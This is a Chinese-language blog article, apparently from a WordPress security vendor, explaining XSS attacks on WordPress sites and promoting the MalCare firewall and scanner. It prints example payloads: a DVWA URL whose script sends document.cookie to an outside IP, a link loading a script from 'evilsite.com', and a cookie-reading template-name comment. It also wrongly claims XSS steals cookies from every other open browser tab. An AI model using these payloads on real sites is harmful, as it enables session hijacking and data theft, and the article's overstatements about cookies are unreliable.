如何防护WordPress XSS跨站攻击

让我们首先说,如果您担心 WordPress XSS,那么您不是偏执而是谨慎。跨站点脚本漏洞不仅限于 WordPress 网站,但同样影响它。最好的防御是安装防火墙,并保持您的主题和插件更新。 

在本文中,我们将详细分析漏洞究竟是什么——请耐心等待,它会变得技术化——这样您就可以就您的网站安全做出明智的决定。我们有一个关于如何防止攻击的完整指南,我们也建议您查看。  

TL;DR:如果您怀疑您的 WordPress 网站已被黑客入侵,我们建议您安装 MalCare以立即从您的网站中删除恶意软件。

什么是 WordPress XSS?

WordPress XSS 是一种恶意软件攻击,它是通过利用 WordPress 网站上的跨站点脚本漏洞进行的。这是 WordPress 网站被黑客入侵的最常见方式,尤其是因为有大量插件存在XSS 漏洞。 

那么什么是跨站脚本? 

跨站点脚本或 XSS 是一种允许在网站上执行未经授权的 JavaScript 代码的漏洞。实际上,它是最常见的网站漏洞,而且由于利用该漏洞的攻击种类繁多,因此很难捕获。对于大型复杂的网站尤其如此。 

攻击的类型很多,但为了清楚起见,可以将它们分为两类: 

  • 恶意脚本在客户端浏览器中执行;
  • 或者,恶意脚本在服务器上存储和执行,然后由浏览器提供;

在任何一种情况下,黑客都可以使用 XSS 攻击来窃取数据或操纵站点的外观和行为。

这是跨站点脚本的简化版本。您可以在本文末尾找到更详细的解释。 

为什么 XSS 攻击如此普遍?

WordPress 插件可能非常复杂。有时甚至比 WordPress 本身还要复杂。随着复杂性的增加,出现安全问题的可能性只会增加。XSS 攻击特别难以防范,这使得插件作者的工作更加困难。

即使是谷歌、苹果、Facebook 等拥有专门安全团队的一些最好的网络公司也遭受过此类攻击。它将有助于正确看待它如何以更少的资源进入 WordPress 插件。

我的网站容易受到 XSS 攻击吗?

如果您有防火墙并保持所有更新,则可能性要低得多。但请记住,没有针对此类攻击的万无一失的保护措施。可能存在可能被黑客利用的非公开漏洞。因此,作为一项安全措施,定期扫描您的网站

虽然此类漏洞造成的损害取决于问题的确切细节,但在最坏的情况下,整个网站都可能被黑客接管。在某些情况下,黑客可能会对该站点进行微小更改,甚至将您的站点重定向到他们自己的恶意站点。

换句话说,黑客可以使用您的浏览器来:

  • 通过嗅探会话 ID 劫持用户的会话
  • 放置未经授权的弹出窗口和重定向
  • 发起网络钓鱼攻击
  • 安装记录受害者每次击键的键盘记录器
  • 窃取财务信息

只有一种方法可以防御此类攻击。立即安装 MalCare 的防火墙

所有的 XSS 攻击都同样危险吗?

不会。一些 XSS 攻击更加危险,因为它们可以让黑客完全访问您的站点。然后黑客可以对网站做任何他们想做的事情。

其他人让黑客只修改网站的一小部分。这对于向您的访问者提供恶意软件等也可能非常危险。

某些 XSS 攻击可能需要黑客已经是您网站的贡献者。在这种情况下,所造成的危险要低得多。

黑客如何利用这些漏洞?

大多数黑客使用自动化来查找漏洞。在那之后,这只是执行 hack 的问题。在某些情况下,整个攻击可以由机器人完成。

我们预先告诉过您,黑客可以通过 5 种基本方式以实用的方式使用跨站点脚本。让我们一一介绍所有这些变体。

#1 劫持用户的会话

我们已经稍微讨论了 XSS 攻击如何获得对 cookie 的访问。现在,能够获取 cookie 最危险的部分是同一个黑客可以泄露用户的会话 ID。

大多数网站使用会话作为每个用户的唯一标识符。这些会话存储在会话 cookie 中。使用这样一个简单的脚本:

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src=” http://192.168.149.128/bogus.php?output=”+document.cookie ;</脚本>

黑客可以将会话 cookie 发送到站点http://192.168.149.128/并且此请求会记录在服务器上的 access.log 文件中。

现在,使用此会话信息,黑客可以轻松登录您登录的任何帐户,而无需密码。

#2 进行未经授权的活动

在某些情况下,黑客无法使用 Javascript 来窃取 cookie。在这种情况下,他们尝试使用 XSS 攻击来执行未经授权的活动。例如,在您的博客文章的评论中弹出的消息不断发布。

这种攻击可以采取站点篡改或恶意脚本的形式,不断传播给越来越多的用户。

#3 网络钓鱼攻击

在许多情况下,WordPress XSS 攻击只是更大计划的起点。也有跨站点脚本会导致您的站点受到网络钓鱼攻击。在大多数情况下,恶意脚本开始在您的网站上推送网络钓鱼诈骗,欺骗您的用户放弃他们的敏感信息。

我们有一整篇关于网络钓鱼攻击的文章,如果您想了解更多,请阅读该文章。

#4 安装键盘记录器

在这种攻击场景中,黑客实施了一个脚本,在易受攻击的站点上安装键盘记录器。每次用户输入内容时,键盘记录器都会存储它并将其发送回黑客。这是一种危险的攻击,可以瞬间窃取密码和信用卡信息。

JavaScript 文件包含以下代码:

 

 

Installing-keyloggers
图片来源:PentestTools

 

 

在此代码中,您将看到 Javascript 打开一个名为“keylog.php”的文件。该文件中的代码将用户键盘按下的所有键保存到名为 data.txt 的文件中。

 

 

Install-keyloggers
图片来源:PentestTools

 

 

使用这种技术,黑客可以轻松准确地读取您在受感染站点上输入的内容。

#5 窃取敏感信息

我们已经讨论了很多关于 cookie 以及它们如何被盗的问题。这种类型的攻击只是进一步采用了相同的原理。

想象一下,您银行的网上银行页面容易受到 XSS 攻击。使用正确的脚本,黑客可以直接登录您的银行账户,无需任何验证!

同样,这不是一个新概念。这只是黑客可以使用会话 cookie 做的事情的扩展。

如何防范 XSS 攻击?

面对不断变化的威胁,防火墙是您最好的防御措施。 

防火墙有特殊的规则来查找可能包含通常在 XSS 攻击中发现的可疑文本的请求。问题是黑客不断想出这种恶意文本的更智能变体,可以绕过一些最智能的防火墙。 

不过,这并不是任何时候都最好的解决方案。这是一个猫捉老鼠的游戏,经常会得到一些误报。

我们有一篇关于如何保护您绝对应该查看的 WordPress 网站的文章。 

如何检测您网站上的 WordPress XSS 攻击

检测站点上 XSS 攻击的最简单方法是安装MalCare 等安全插件。MalCare 有一个自动恶意软件扫描程序,可以每天扫描您的整个网站。借助一流的机器学习算法,恶意软件扫描程序可以检测您网站上任何位置的恶意脚本。 

MalCare 甚至会发现未知的恶意软件,并为您提供“自动清理”选项。

 

 

Detecting-XSS-Vulnerability-through-MalCare-Scanner

 

 

当然,明智的做法是从一开始就永远不要让类似的黑客行为发生。但是 XSS 攻击非常难以防御。您能做的最好的事情就是加强您的 WordPress安全性。 

您还可以充分利用MalCare 的高级防火墙。MalCare 的防火墙会自动阻止可疑或恶意 IP 地址连接到您的站点。 

最好的部分?每当在 MalCare 保护的 250,000 多个站点中的任何一个站点上发现黑客的 IP 时,该 IP 地址就会在 MalCare 保护的每个站点上被禁止。

如果您的团队成员 IP 地址或网站管理员被意外阻止访问该网站,请不要担心!查看我们的指南,了解如何将 IP 地址列入白名单

XSS 是如何工作的?

根据黑客发起的攻击类型,有不同类型的跨站点脚本。它们都有一个共同点——它们都使用 Javascript 来传播恶意软件。

Javascript 是一种位于网页 HTML 代码之间的语言。现在,Javascript 能够创建执行极其强大计算的变量。因此,您几乎可以用它来做任何您能想象到的事情。

例如,假设您有一个 WooCommerce 网站,该网站接受付款详细信息并将其存储在 WordPress 数据库中。您可以使用 Javascript 将信用卡详细信息和登录数据发送给其他人!

因此,当黑客利用您网站代码中的漏洞执行 Javascript 时,这就是 XSS 攻击。通常,此类漏洞发生在您站点上用户可以输入数据的任何位置。这包括弹出窗口、表单、搜索栏,甚至您的 URL。

现在,此数据输入字段不必是可视字段。它甚至可能是您站点代码中的一个错误变量,用于从任何文件或数据库中获取未经处理的数据

WordPress 核心也容易受到 XSS 攻击。最初,黑客执行 XSS 所需要做的就是创建一个包含以下代码行的 PHP 文件:

/* 模板名称:<script>confirm(document.cookie);</script> */

XSS-in-theme

 

让我们分解一下。

这段代码只是一个声明文件名的注释。就其本身而言,它是良性的,会被 WordPress 忽略。

但是在注释中,您会注意到在“模板名称:”之后有一段以“<script>”开头并以“</script>”结尾的代码。这是一个 Javascript 代码,它试图获取 cookie 并在您的浏览器中显示一个确认框。

 

 

XSS-attack-popups

 

这是一个 WordPress XSS 攻击的例子。

旧版本的 WordPress 会立即执行此操作,因为 WordPress 主题编辑器会按原样获取模板名称。主题编辑器使用“$file_description”函数获取模板名称,该函数没有针对 XSS 攻击的任何对策。

当然,上面例子中的脚本没有那么强大或恶意。但重点是一样的。如果良性代码可以在任何输入字段中执行,那么恶意代码也可以!

这个特殊的黑客在 WordPress 4.8.2 版中得到了修补,但许多 WordPress 主题和插件中都存在相同的漏洞。

事实上,这是许多 WordPress 插件的主要问题。事实上,大多数插件可能非常复杂。有些甚至比 WordPress 核心文件更复杂。这种复杂程度通常会导致安全问题。

这就是 WordPress XSS 的工作原理。如果您运行的是旧版 WordPress,我们强烈建议您立即更新。 

此外,这里列出了已知存在 XSS 漏洞WordPress 插件。我们强烈建议您尽可能避免使用它们。如果您正在使用这些插件之一,请查看它们是否有修补漏洞的更新并更新到最新版本。

跨站脚本的类型

您需要了解主要有两种类型的 XSS 攻击:

  • 存储或持续性 XSS 攻击 – 此攻击的目标是您网站的访问者。他们欺骗客户,窃取他们的私人信息和资金。
  • 反射性或非持久性 XSS 攻击 – 目标是您的 WordPress 网站。

我们将详细解释这两种攻击。

存储或持久性 XSS 攻击

假设您的网站是一个博客,允许人们对您发布的文章发表评论。当访问者发表评论时,数据被发送到数据库并存储。

您的站点应该具有在数据发送到数据库之前对其进行清理的配置。这意味着它应该检查用户输入的内容是常规评论还是恶意脚本。如果这些检查没有到位,就会打开 WordPress XSS 漏洞。让我们看看如何:

第 1 步:黑客找到漏洞并加以利用

黑客使用自动扫描程序在 Internet 上运行并查找存在 XSS 漏洞的网站。一旦他们找到您的网站,他们就会在您的评论部分输入恶意脚本。由于您的网站没有适当的检查,它接受脚本并将其发送到数据库。

第 2 步:访问者查看受感染页面

对于访问者来说,黑客的输入看起来就像是常规评论。访问者和网站所有者不知道的是,该评论是一个旨在窃取 cookie 的可执行代码。任何访问此页面的人都会受到影响。

第 3 步:黑客窃取浏览器 Cookie

我们知道普通用户通常会在浏览器上打开多个选项卡,例如电子邮件、Facebook、亚马逊等购物网站、工作网站、YouTube 等。 

 

chrome-xss

 

当他们访问您的网站并查看带有黑客评论的页面时,代码将被执行。这使黑客能够窃取他们的浏览器 cookie。这种攻击被称为“跨站点”,因为它们能够窃取在不同选项卡上打开的所有站点的 cookie。

第 4 步:黑客利用被盗 Cookie

接下来,使用这些 cookie,黑客可以在购物网站上伪装成经过身份验证的用户并进行购买。攻击者可以窃取敏感的帐户信息,例如用户名和密码。他们还可以侵入您的电子邮件并向您的联系人发送网络钓鱼或欺诈邮件。这个列表是无止境的。

这种攻击会危及访问您网站的任何人。在下一种 XSS 攻击中,它直接针对网站。

反射性或非持久性 XSS 攻击

在之前的攻击中,我们看到了黑客如何瞄准访问者。但在这次攻击中,黑客感染了网站本身。正如我们前面提到的,大多数互联网用户在他们的浏览器上打开了多个标签。 

这同样适用于网站所有者。 

很多时候,您的 WordPress 管理员用户仪表板只是浏览器上打开的选项卡之一。这使得反射型 XSS 攻击成为可能。

我们将说明这是如何发生的:

第 1 步:让网站所有者点击恶意链接

黑客经常通过电子邮件发送恶意链接,希望有人中了他们的伎俩。在其他情况下,黑客会将这些恶意链接放在其他 WordPress 网站上。

当您单击该链接时,它会导致脚本从外部网站加载到您的网站上。此链接包含如下代码:

https://yoursite.com/test.php?val=<script src=”http://evilsite.com/badscript.js”></script>

第 2 步:获取会话 Cookie

通过单击链接,您可以执行代码。这使黑客能够窃取您的 cookie 并伪装成登录到您的 WordPress 网站管理员帐户的用户。一旦他们获得对您网站的访问权限,他们就可以窃取登录凭据和敏感数据,将您锁定在自己的网站之外,并使用它来运行不同类型的黑客攻击。

XSS 攻击会对您的网站和业务造成严重后果和损害。从此类攻击中恢复会消耗大量时间和金钱。您可以通过采取预防措施来避免成为 XSS 的受害者。

原创文章,作者:WPJIAN,如若转载,请注明出处:https://wpjian.com/tips/2021091549291.html